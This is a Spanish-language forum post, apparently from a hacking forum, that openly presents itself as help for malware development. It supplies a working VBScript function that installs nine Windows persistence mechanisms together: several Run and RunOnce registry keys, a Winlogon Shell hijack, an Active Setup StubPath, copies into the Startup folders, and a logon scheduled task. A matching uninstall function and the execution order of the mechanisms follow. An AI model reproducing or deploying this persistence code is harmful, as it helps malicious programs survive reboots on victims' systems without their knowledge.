Como ya sabéis, cuando estamos trabajando o desarrollando malware, es de suma importancia asegurarse que nuestro proceso/ejecutable/script se auto-ejecute en el sistema cada vez que el usuario inicie sesión.
Hay muchos métodos para lograr dicho efecto, los más conocidos es mover una copia del ejecutable a la carpeta "Inicio" del menú de Windows o añadir una clave "Run" en el regedit, no? Bueno, he hecho un poco de búsqueda y pruebas y he logrado agrupar 9 métodos de auto-ejecución en una sola función. Hay más de 9 métodos, pero no todos son compatibles entre ellos y he agrupado los más efectivos en una sola función.
La función la he programado en VBS, pero es fácilmente exportable a cualquier lenguaje de programación, incluido batch (que no es un lenguaje como tal). Los 9 métodos utilizados son:
- Regedit: Run en HKCU
- Regedit: Run en HKLM
- Regedit: RunOnce en HKLM
- Regedit: Policies en HKCU
- Regedit: Winlogon\Shell en HKLM
- Regedit: ActiveX en HKLM+HKCU
- Win32: StartupFolder
- Win32: AllUsersStartupFolder
- Scheduled Task: OnLogon
Éstos son los 9 métodos de los que voy a hablar, pero faltarían algunos más, como por ejemplo Winlogon\Userinit, método iFEO, crear un system service, etc...
Además, he analizado el comportamiento de los 9 métodos y hay cosas a tener en cuenta. Si configuramos un sistema para que auto-ejecute un mismo programa utilizando éstos 9 métodos a la vez, el sistema los ejecutará en un orden concreto, además 4 de los 9 métodos se ejecutarán ANTES de iniciar el escritorio del usuario y los 5 métodos restantes se ejecutarán DESPUÉS de iniciar el escritorio. Además 2 de éstos 9 métodos poseen la propiedad HaltSystem, que mantendrán el sistema en suspensión hasta que la ejecución del proceso no finalice (cuidado!), aquí el script:
Código
Set oWSH = CreateObject("WScript.Shell") Set oFSO = CreateObject("Scripting.FileSystemObject") call startup 'call uninstall Function startup On Error Resume Next oWSH.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\C1", "C:\V1.EXE" oWSH.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\C2", "C:\V2.EXE" oWSH.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\C3", "C:\V3.EXE" oWSH.RegWrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\C4", "C:\V4.EXE" oWSH.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "Explorer.exe, C:\V5.EXE" oWSH.RegDelete "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{2EAA7630-C1E5-CA0F-0807-050503010603}\" oWSH.RegDelete "HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components\{2EAA7630-C1E5-CA0F-0807-050503010603}\" oWSH.RegWrite "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{2EAA7630-C1E5-CA0F-0807-050503010603}\StubPath", "C:\V6.EXE" oFSO.CopyFile "C:\V1.EXE", oWSH.SpecialFolders("Startup") & "\V7.EXE", True oFSO.CopyFile "C:\V1.EXE", oWSH.SpecialFolders("AllUsersStartup") & "\V8.EXE", True oWSH.Run "schtasks /create /tn " & Chr(34) & "V9" & Chr(34) & " /tr " & Chr(34) & "C:\V9.EXE" & Chr(34) & " /sc onlogon /F" End Function Function uninstall On Error Resume Next oWSH.RegDelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\C1" oWSH.RegDelete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\C2" oWSH.RegDelete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\C3" oWSH.RegDelete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\C4" oWSH.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "Explorer.exe" oWSH.RegDelete "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{2EAA7630-C1E5-CA0F-0807-050503010603}\StubPath" oWSH.RegDelete "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{2EAA7630-C1E5-CA0F-0807-050503010603}\" oWSH.RegDelete "HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components\{2EAA7630-C1E5-CA0F-0807-050503010603}\" oFSO.DeleteFile oWSH.SpecialFolders("Startup") & "\V7.EXE", True oFSO.DeleteFile oWSH.SpecialFolders("AllUsersStartup") & "\V8.EXE", True oWSH.Run "schtasks /delete /tn " & Chr(34) & "V9" & Chr(34) & " /f" End Function MsgBox "end"
He añadido también la función uninstall, que eliminará los 9 métodos dejando el sistema "intacto". El orden de ejecución de los 9 métodos son:
Se ejecutan ANTES de iniciar el Desktop
1º Scheduled Task
2º Winlogon\Shell
3º RunOnce (HaltSystem, hasta que no finalice el proceso, no se continuará la carga normal del systema)
4º ActiveX (HaltSystem, hasta que no finalice el proceso, no se continuará la carga normal del systema)
Se ejecutan DESPUES de iniciar el Desktop
5º Regedit: Run en HKLM
6º Regedit: Policies
7º Regedit: Run en HKCU
8º Win32: All Users Startup Folder
9º Win32: Startup Folder
Pues nada, aquí tenéis la función, podéis utilizar solo un método o los 9 a la vez. También si alguien conoce algún método más y le gustaría compartir estaré encantado de ampliar el post con más información.
Saludos!!